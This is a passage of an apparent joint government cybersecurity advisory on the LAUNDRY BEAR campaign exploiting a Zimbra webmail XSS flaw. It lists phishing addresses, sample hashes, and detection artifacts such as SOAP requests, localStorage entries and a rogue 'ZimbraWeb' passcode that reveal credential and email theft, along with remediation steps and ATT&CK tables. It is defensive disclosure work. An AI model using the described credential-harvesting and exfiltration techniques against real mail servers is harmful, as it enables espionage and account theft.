<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
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<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
